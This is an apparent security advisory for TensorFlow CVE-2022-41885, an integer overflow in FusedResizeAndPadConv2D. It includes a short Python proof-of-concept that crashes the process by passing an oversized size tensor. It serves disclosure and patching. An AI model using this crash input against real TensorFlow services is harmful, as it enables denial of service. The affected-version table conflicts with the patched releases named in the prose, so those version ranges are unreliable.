7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
0.001 Low
EPSS
Percentile
43.6%
When tf.raw_ops.FusedResizeAndPadConv2D
is given a large tensor shape, it overflows.
import tensorflow as tf
mode = "REFLECT"
strides = [1, 1, 1, 1]
padding = "SAME"
resize_align_corners = False
input = tf.constant(147, shape=[3,3,1,1], dtype=tf.float16)
size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
paddings = tf.constant([3,4], shape=[2], dtype=tf.int32)
filter = tf.constant(123, shape=[1,3,4,1], dtype=tf.float16)
tf.raw_ops.FusedResizeAndPadConv2D(input=input, size=size, paddings=paddings, filter=filter, mode=mode, strides=strides, padding=padding, resize_align_corners=resize_align_corners)
We have patched the issue in GitHub commit d66e1d568275e6a2947de97dca7a102a211e01ce.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.
CPE | Name | Operator | Version |
---|---|---|---|
tensorflow-gpu | lt | 2.9.1 | |
tensorflow-cpu | lt | 2.9.1 | |
tensorflow-gpu | lt | 2.8.1 | |
tensorflow-cpu | lt | 2.8.1 | |
tensorflow-gpu | lt | 2.7.4 | |
tensorflow-cpu | lt | 2.7.4 | |
tensorflow | lt | 2.9.1 | |
tensorflow | lt | 2.8.1 | |
tensorflow | lt | 2.7.4 |
github.com/advisories/GHSA-762h-vpvw-3rcx
github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/conv_ops_fused_image_transform.cc
github.com/tensorflow/tensorflow/commit/d66e1d568275e6a2947de97dca7a102a211e01ce
github.com/tensorflow/tensorflow/security/advisories/GHSA-762h-vpvw-3rcx
nvd.nist.gov/vuln/detail/CVE-2022-41885